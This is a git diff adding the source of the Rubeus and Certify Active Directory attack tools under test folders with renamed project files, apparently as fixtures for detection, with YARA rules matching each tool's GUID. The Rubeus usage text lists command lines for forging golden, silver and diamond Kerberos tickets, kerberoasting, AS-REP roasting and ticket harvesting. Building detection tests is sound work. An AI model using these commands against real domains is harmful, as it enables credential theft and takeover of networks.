[/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket for a read only domain controller (for Key List Requests): + Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information: + Rubeus.exe silver /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum: + Rubeus.exe silver /ldap [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe silver /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and including an S4UDelegationInfo PAC section: + Rubeus.exe silver /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm: + Rubeus.exe silver /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket, setting values explicitly: + Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a diamond TGT by requesting a TGT based on a user password/hash: + Rubeus.exe diamond /user:USER [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + + Forge a diamond TGT by requesting a TGT using a PCKS12 certificate: + Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + + Forge a diamond TGT by requesting a TGT using tgtdeleg: + Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + + + Ticket management: + + Submit a TGT, optionally targeting a specific LUID (if elevated): + Rubeus.exe ptt [/luid:LOGINID] + + Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): + Rubeus.exe purge [/luid:LOGINID] + + Parse and describe a ticket (service ticket or TGT): + Rubeus.exe describe [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT] + + + Ticket extraction and harvesting: + + Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service: + Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID: + Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: + Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap] + + Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: + Rubeus.exe tgtdeleg [/target:SPN] + + Monitor every /interval SECONDS (default 60) for new TGTs: + Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): + Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + + Roasting: + + Perform Kerberoasting: + Rubeus.exe kerberoast [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting, outputting hashes to a file: + Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] + + Perform Kerberoasting, outputting hashes in the file output format, but to the console: + Rubeus.exe kerberoast /simple [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting with alternate credentials: + Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:""blah/blah""] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting with an existing TGT: + Rubeus.exe kerberoast [/nowrap] + + Perform Kerberoasting with an existing TGT using an enterprise principal: + Rubeus.exe kerberoast /enterprise [/nowrap] + + Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: + Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap] + + Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: + Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap] + + Perform ""opsec"" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: + Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap] + + List statistics about found Kerberoastable accounts without actually sending ticket requests: + Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): + Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: + Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] + + Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: + Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform AES Kerberoasting: + Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] + + Perform Kerberoasting using an account without pre-auth by sending AS-REQ's: + Rubeus.exe kerberoast /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap] + + Perform AS-REP ""roasting"" for any users without preauth: + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform AS-REP ""roasting"" for any users without preauth, outputting Hashcat format to a file: + Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/des] + + Perform AS-REP ""roasting"" for any users without preauth using alternate credentials: + Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU,...""] [/ldaps] [/des] [/nowrap] + + Perform AES AS-REP ""roasting"": + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] /aes [/ldaps] [/nowrap] + + + Miscellaneous: + + Create a hidden program (unless /show is passed) with random (or user-defined) /netonly credentials, displaying the PID and LUID: + Rubeus.exe createnetonly /program:""C:\Windows\System32\cmd.exe"" [/show] [/username:USERNAME] [/domain:DOMAIN] [/password:PASSWORD] + + Reset a user's password from a supplied TGT (AoratoPw): + Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME] + + Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes: + Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN] + + Substitute an sname or SPN into an existing service ticket: + Rubeus.exe tgssub /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap] + Rubeus.exe tgssub /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap] + + Display the current user's LUID: + Rubeus.exe currentluid + + Display information about the (current) or (target) logon session, default all readable: + Rubeus.exe logonsession [/current] [/luid:X] + + The ""/consoleoutfile:C:\FILE.txt"" argument redirects all console output to the file specified. + + The ""/nowrap"" flag prevents any base64 ticket blobs from being column wrapped for any function. + + The ""/debug"" flag outputs ASN.1 debugging information. + + Convert an AS-REP and a key to a Kirbi: + Rubeus.exe asrep2kirbi /asrep: [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap] + + Insert new DES session key into a Kirbi: + Rubeus.exe kirbi /kirbi: /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap] + + + NOTE: Base64 ticket blobs can be decoded with : + + [IO.File]::WriteAllBytes(""ticket.kirbi"", [Convert]::FromBase64String(""aa..."")) + +"; + Console.WriteLine(usage); + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Program.cs b/tests/kerbtgs/CrackMapCore/Program.cs new file mode 100644 index 0000000..f32f0d4 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Program.cs @@ -0,0 +1,139 @@ +using Rubeus.Domain; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Rubeus +{ + public class Program + { + // global that specifies if ticket output should be wrapped or not + public static bool wrapTickets = true; + + public static bool Debug = false; + + private static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + + Info.ShowLogo(); + + try + { + // print unicode char properly if there's a console + if(IsConsolePresent()) Console.OutputEncoding = Encoding.UTF8; + + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); + Console.WriteLine(e); + } + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + private static bool IsConsolePresent() + { + return Interop.GetConsoleWindow() != IntPtr.Zero; + } + + public static void Main(string[] args) + { + // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/nowrap")) + { + wrapTickets = false; + } + + if (parsed.Arguments.ContainsKey("/debug")) + { + Debug = true; + } + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Properties/AssemblyInfo.cs b/tests/kerbtgs/CrackMapCore/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..891f86d --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Rubeus")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Rubeus")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/tests/kerbtgs/CrackMapCore/app.config b/tests/kerbtgs/CrackMapCore/app.config new file mode 100644 index 0000000..fcd0c93 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/app.config @@ -0,0 +1,3 @@ + + + diff --git a/tests/kerbtgs/CrackMapExec.sln b/tests/kerbtgs/CrackMapExec.sln new file mode 100644 index 0000000..8b71ecc --- /dev/null +++ b/tests/kerbtgs/CrackMapExec.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/tests/kerbtgs/CrackMapExec.yar b/tests/kerbtgs/CrackMapExec.yar new file mode 100644 index 0000000..139b155 --- /dev/null +++ b/tests/kerbtgs/CrackMapExec.yar @@ -0,0 +1,14 @@ +// From https://github.com/fireeye/red_team_tool_countermeasures/blob/3a773645093e77107dfc4e3b29eb74845cc2f25d/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar +// License: BSD 2-clause +rule HackTool_MSIL_Rubeus_1 +{ + meta: + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project." + md5 = "66e0681a500c726ed52e5ea9423d2654" + rev = 4 + author = "FireEye" + strings: + $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide + condition: + uint16(0) == 0x5A4D and $typelibguid +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapExec.sln b/tests/kerbtgt/CrackMapExec.sln new file mode 100644 index 0000000..a28fd17 --- /dev/null +++ b/tests/kerbtgt/CrackMapExec.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29009.5 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Certify", "Certify\Certify.csproj", "{64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Debug|Any CPU.Build.0 = Debug|Any CPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Release|Any CPU.ActiveCfg = Release|Any CPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {07B108A3-1131-4969-9E7A-B7FD5682E61B} + EndGlobalSection +EndGlobal diff --git a/tests/kerbtgt/CrackMapExec.yar b/tests/kerbtgt/CrackMapExec.yar new file mode 100644 index 0000000..2e37a1d --- /dev/null +++ b/tests/kerbtgt/CrackMapExec.yar @@ -0,0 +1,10 @@ +rule Certify +{ + meta: + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project." + author = "Will Schroeder (@harmj0y)" + strings: + $typelibguid = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii nocase wide + condition: + uint16(0) == 0x5A4D and $typelibguid +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/ArgumentParser.cs b/tests/kerbtgt/CrackMapTicket/ArgumentParser.cs new file mode 100644 index 0000000..a4cd979 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/ArgumentParser.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Certify +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + else + arguments[argument] = string.Empty; + } + + return ArgumentParserResult.Success(arguments); + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/ArgumentParserResult.cs b/tests/kerbtgt/CrackMapTicket/ArgumentParserResult.cs new file mode 100644 index 0000000..6cae911 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Certify +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, new Dictionary()); + + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Certify.csproj b/tests/kerbtgt/CrackMapTicket/Certify.csproj new file mode 100644 index 0000000..a3e0a90 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Certify.csproj @@ -0,0 +1,134 @@ + + + + + Debug + AnyCPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97} + Exe + Certify + Certify + v4.0 + 512 + true + + + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + 8.0 + enable + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + 8.0 + enable + true + + + AnyCPU + none + true + bin\Release\ + TRACE + prompt + 0 + 8.0 + enable + + + + False + True + .\Interop.CERTCLILib.dll + + + False + False + .\Interop.CERTENROLLLib.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + false + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/CommandCollection.cs b/tests/kerbtgt/CrackMapTicket/CommandCollection.cs new file mode 100644 index 0000000..037d692 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/CommandCollection.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using Certify.Commands; + +namespace Certify +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(CAs.CommandName, () => new CAs()); + _availableCommands.Add(Request.CommandName, () => new Request()); + _availableCommands.Add(Download.CommandName, () => new Download()); + _availableCommands.Add(Find.CommandName, () => new Find()); + _availableCommands.Add(PKIObjects.CommandName, () => new PKIObjects()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Commands/CAs.cs b/tests/kerbtgt/CrackMapTicket/Commands/CAs.cs new file mode 100644 index 0000000..a86a73b --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Commands/CAs.cs @@ -0,0 +1,155 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Certify.Domain; +using Certify.Lib; + +namespace Certify.Commands +{ + public class CAs : ICommand + { + public static string CommandName => "cas"; + private LdapOperations _ldap = new LdapOperations(); + private bool skipWebServiceChecks; + private bool hideAdmins; + private bool showAllPermissions; + private string? caArg; + private string? domain; + private string? ldapServer; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Find certificate authorities"); + + showAllPermissions = arguments.ContainsKey("/showAllPermissions"); + skipWebServiceChecks = arguments.ContainsKey("/skipWebServiceChecks"); + hideAdmins = arguments.ContainsKey("/hideAdmins"); + + if (arguments.ContainsKey("/ca")) + { + caArg = arguments["/ca"]; + if (!caArg.Contains("\\")) + { + Console.WriteLine("[!] Warning: if using /ca format of SERVER\\CA-NAME, you may need to specify \\\\ for escaping purposes.\r\n"); + } + } + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + if (!domain.Contains(".")) + { + Console.WriteLine("[!] /domain:X must be a FQDN"); + return; + } + } + + if (arguments.ContainsKey("/ldapserver")) + { + ldapServer = arguments["/ldapserver"]; + } + + + _ldap = new LdapOperations(new LdapSearchOptions() + { + Domain = domain, LdapServer = ldapServer + }); + + Console.WriteLine($"[*] Using the search base '{_ldap.ConfigurationPath}'"); + + DisplayRootCAs(); + DisplayNtAuthCertificates(); + DisplayEnterpriseCAs(); + } + + private void DisplayRootCAs() + { + Console.WriteLine("\n\n[*] Root CAs\n"); + + var rootCAs = _ldap.GetRootCAs(); + if(rootCAs == null) throw new NullReferenceException("RootCAs are null"); + + foreach (var ca in rootCAs) + { + if(ca.Certificates == null) continue; + + ca.Certificates.ForEach(cert => + { + DisplayUtil.PrintCertificateInfo(cert); + Console.WriteLine(); + }); + } + } + + private void DisplayNtAuthCertificates() + { + Console.WriteLine("\n\n[*] NTAuthCertificates - Certificates that enable authentication:\n"); + + var ntauth = _ldap.GetNtAuthCertificates(); + + if (ntauth.Certificates == null || !ntauth.Certificates.Any()) + { + Console.WriteLine(" There are no NTAuthCertificates\n"); + return; + } + + ntauth.Certificates.ForEach(cert => + { + DisplayUtil.PrintCertificateInfo(cert); + Console.WriteLine(); + }); + } + + private void DisplayEnterpriseCAs() + { + Console.WriteLine("\n[*] Enterprise/Enrollment CAs:\n"); + foreach (var ca in _ldap.GetEnterpriseCAs(caArg)) + { + DisplayUtil.PrintEnterpriseCaInfo(ca, hideAdmins, showAllPermissions); + + if (!skipWebServiceChecks) + { + Console.WriteLine(); + PrintCAWebServices(ca.GetWebServices()); + } + + Console.WriteLine(" Enabled Certificate Templates:"); + Console.WriteLine(" " + string.Join("\n ", ca.Templates)); + Console.WriteLine("\n\n"); + } + } + + private void PrintCAWebServices(CertificateAuthorityWebServices webServices) + { + var indent = " "; + var urlIndent = new string(' ', 36); + if (webServices.LegacyAspEnrollmentUrls.Any()) + { + var str = $"Legacy ASP Enrollment Website : " + + string.Join($"\n{urlIndent}", webServices.LegacyAspEnrollmentUrls); + Console.WriteLine(indent + str); + } + + if 